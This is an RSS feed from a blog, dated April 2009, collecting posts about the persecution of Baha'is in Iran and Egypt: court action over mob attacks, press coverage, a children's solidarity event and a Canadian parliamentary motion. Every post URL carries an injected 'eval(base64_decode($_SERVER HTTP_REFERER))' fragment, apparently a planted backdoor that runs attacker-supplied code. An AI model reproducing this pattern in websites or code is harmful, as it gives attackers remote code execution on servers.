Baha'i Views » Persecution http://www.bahaiviews.net Wed, 23 May 2012 22:57:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 On Steps Towards Justice: Instigator and perpetrator summoned to court for incitement of violence against the Baha’is in Southern Egypt http://www.bahaiviews.net/2009/04/06/on-steps-towards-justice-instigator-and-perpetrator-summoned-to-court-for-incitement-of-violence-against-the-bahais-in-southern-egypt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/06/on-steps-towards-justice-instigator-and-perpetrator-summoned-to-court-for-incitement-of-violence-against-the-bahais-in-southern-egypt/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 06 Apr 2009 17:51:42 +0000 george wesley dannells http://www.bahaiviews.net/?p=15219  

KathleenWhite PupaKat Egyptians Face Trial for Incitement Against Baha’is, http://bit.ly/ApaGR44 minutes ago from TweetDeck

egyptbahaiWhite egyptbahai Instigator and perpetrator summoned to court for incitement against the Baha’is: http://tinyurl.com/deojdu about 1 hour ago from web

Barmak KushaWhite barmak9This should be interesting to follow: “Egyptians Face Trial for Incitement Against Baha’is” http://is.gd/r1Sp about 1 hour ago from web
mideast-newsThe disturbing news on the latest incident involving Baha’is in Egypt, the firebombing of Baha’i homes from in a village in the Southern part of the country,  continues to unfold. I’m checking Twitter and Baha’is in Egypt.  -gw
 
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…times have changed.  In the 1980s, when these crimes [the putting to death of Baha'is] were committed against a defenseless community, there was no internet and no social networking sites.  Thus, the infrastructure for grassroots movements was not nearly as robust as it is today.  Therefore, while the Islamic Republic could come out of those unjustified killings relatively unscathed, it is now becoming virtually impossible for them to continue that practice.  Every time a Baha’i or any other Iranian is arrested on unfounded charges, the news is global within hours. Thousands of concerned citizens from all walks of life and different corners of the earth stand up and demand justice in a wide variety of forums and blogs.  Thus, the cost of administering injustice is becoming prohibitive.  Regarding the Baha’i “dilemma”: while the official policy of the Islamic Republic has been to “fight their cultural influence” both inside and outside Iran, in reality this is proving to be a losing battle.  The clerical establishment began its anti-Babi, anti-Baha’i activities over 160 years ago.  If the most brutal and inhumane killings of thousands of members of a relatively small population of Babis and Baha’is across Persia in the 1800s and early 1900s could not “solve” this “dilemma”, then where does the optimism to wipe out a now global community of 5-6 million people come from?

http://www.iranpresswatch.org/2009/04/trial-no-win/

]]> http://www.bahaiviews.net/2009/04/05/on-my-advice-for-the-government-of-iran-and-a-prediction-chill-out-things-gonna-change/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On the Dilemma Faced by the Mullahs: Since they disolved your administration, they don’t even know who the Baha’is are anymore http://www.bahaiviews.net/2009/04/04/on-the-dilemma-faced-by-the-mullah-since-they-disolved-your-administration-they-dont-even-know-who-the-bahais-are-anymore/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/04/on-the-dilemma-faced-by-the-mullah-since-they-disolved-your-administration-they-dont-even-know-who-the-bahais-are-anymore/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sun, 05 Apr 2009 05:36:34 +0000 george wesley dannells http://www.bahaiviews.net/?p=15149 hidden-words-at-isfahan-street-1The Baha’i Writings show up on a billboard on the streets of Isfahan, not likely placed there by Baha’is, and the post about it on IranPress Watch draws 25 comments, including the following. -gw

Since they disolved your adminstration, they don’t even know who the Baha’is are any more. There are many people in Iran who were Baha’is and didn’t want to identify themselves because you had requirements for them to sign your rolls. Now that there is no administration, these Mollahs don’t know what to do. Even their assistants are downloading your writings and Roohi books. They’ve lost control. People use filtershekan and by pass their internet censors. It’s all over. You should have no administration there even if they beg you. Your ranks have increased and as you see your writings are showing up at the hands of “trusted” government people. Iranians aren’t dumb. We just have dumb rulers. Cheers!

http://www.iranpresswatch.org/2009/04/hw-billboards/#comment-1403

Photo: http://www.iranpresswatch.org/wp-content/uploads/2009/04/hidden-words-at-isfahan-street-1.jpg

]]> http://www.bahaiviews.net/2009/04/04/on-the-dilemma-faced-by-the-mullah-since-they-disolved-your-administration-they-dont-even-know-who-the-bahais-are-anymore/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 On Portuguese Coverage of the Mob Attacks on Baha’i Homes in Egypt: The world cares http://www.bahaiviews.net/2009/04/03/on-portuguese-coverage-of-the-mob-attacks-on-bahai-homes-in-egypt-the-world-cares/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/03/on-portuguese-coverage-of-the-mob-attacks-on-bahai-homes-in-egypt-the-world-cares/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 03 Apr 2009 17:39:45 +0000 george wesley dannells http://www.bahaiviews.net/?p=15054 publico_2009-abr-03.

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The attack by a mob on the homes of Baha’is in a village in Southern Egypt was the topic of a post in the online edition of the most influential Portuguese newspaper, as reported on Marco’s blog Povo de Baha here. English translation is available on his site.  Portugal has a favorite son who is Baha’i, as the concluding paragraph in the post makes clear. -gw

There are approximately six million Bahá’ís worldwide, including thousands in Portugal, where the most famous of them is the Olympic champion Nelson Évora of athletics, the son of a Cape Verdean who married in Ivory Coast, where he was born.

http://translate.google.com/translate?hl=en&sl=pt&u=http://www.povodebaha.blogspot.com/

]]> http://www.bahaiviews.net/2009/04/03/on-portuguese-coverage-of-the-mob-attacks-on-bahai-homes-in-egypt-the-world-cares/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On Drawing the Circle of Unity: Symbolic action to increase awareness of persecutions in Iran that affect children as well http://www.bahaiviews.net/2009/04/02/on-drawing-the-circle-of-unity-symbolic-action-to-increase-awareness-of-persecutions-in-iran-that-affect-children-as-well/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/02/on-drawing-the-circle-of-unity-symbolic-action-to-increase-awareness-of-persecutions-in-iran-that-affect-children-as-well/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 03 Apr 2009 05:48:44 +0000 george wesley dannells http://www.bahaiviews.net/?p=15040 Here is another remarkable initiative designed to call attention to the current persecution of Baha’is in Iran. -gw

Recently the Iranian government published the addresses of Iranian Baha’is in local newspapers and prohibited citizens from any social and business interactions with them. After this mass spread of religious persecution, we realized that this virus had spread into the minds of Iranian children. Baha’i children all throughout the country are being mocked, shamed, insulted, and shunned, by both classmates and teachers because of their beliefs. 

By Drawing the Circle of Unity we want to extend our support, warmth, and  love to the children. Children of all religions are suffering from the hostile environment the government is enforcing upon their families. We hope to spread our support into the homes of all of the victims of Iran’s pernicious policy, please join us in spreading the vaccine: unity.

http://www.kidsidebyside.org/?p=224

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All children benefit from the recognition and practice of universal human rights. Through showing solidarity with those who have been stripped of their rights, we hope to raise awareness and draw the circle of unity by creating cards of hope, love, and harmony to be published online and sent to these children. …

The Event:
On Saturday, May 9, 2009, from 1p.m. to 4p.m., at Pomona [California] College’s Marston Quad, we’ll be providing materials so everyone can draw pictures and write little notes to send to the Baha’i children in Iran. We will also be posting them here and on facebook to ensure their availability to the Baha’is in Iran.

http://www.kidsidebyside.org/?page_id=158

]]> http://www.bahaiviews.net/2009/04/02/on-drawing-the-circle-of-unity-symbolic-action-to-increase-awareness-of-persecutions-in-iran-that-affect-children-as-well/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 On Conspiracy Theories and Religion: Even Shi’ism was accused of being created by Jews for the destruction of Sunni Islam http://www.bahaiviews.net/2009/04/02/on-conspiracy-theories-and-religion-even-shiism-was-accused-of-being-created-by-jews-for-the-destruction-of-sunni-islam/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2009/04/02/on-conspiracy-theories-and-religion-even-shiism-was-accused-of-being-created-by-jews-for-the-destruction-of-sunni-islam/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 02 Apr 2009 15:48:31 +0000 george wesley dannells http://www.bahaiviews.net/?p=14990 muhammadteachingIn light of the conspiracy theories that have been leveled at the Baha’i Faith and included even in 3rd grade textbooks in Iran, it is interesting to note that even Shi’a Islam was subject to such theories. -gw

The history of religion is filled with clashes between established and central religions and those on the periphery:  This is the case with religions before Islam in Iran, as well as with Judaism, Christianity and Islam.  Each one in their own time had to face such slander and vilification.

Even Shi’ism, which today in Iran is considered the  official and legal state religion, at the beginning of its formation was accused of being created by Jews for the destruction of Islam (Sunni religion).  Many among the followers of Sunni Islam consider a certain ‘Abdu’llah ibn Saba (who was a Jew and a resident of Kufih) as the one who formed the Shi’ite sect – a charge that Shi’ites reject.

Conspiracy theory is the easiest way to construe the emergence of any new entity.  However, from a historical point of view, it is not an effective way to confront and defend against such emerging faiths. 

http://www.iranpresswatch.org/2009/03/contact-foreign/

Image: http://bigpurpleworld.blogspot.com/2008/05/differences-between-shia-and-sunni.html

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Ottawa, Ontario, 31 March 2009 (CBNS) — After a 90 minute debate, Monday evening 30 March 2009, Canada’s House of Commons adopted a strongly worded motion condemning the persecution of Baha’is in Iran and calling on the Government of Iran to immediately release Baha’i leaders currently in prison in Tehran. The debate was moving in the eloquence and well informed nature of the contributions from Members of Parliament representing virtually all regions of Canada, and as one MP noted, all parties were united in their concern about the situation of the Baha’is of Iran.

http://bahainews.ca/en/090331-houseofcommons

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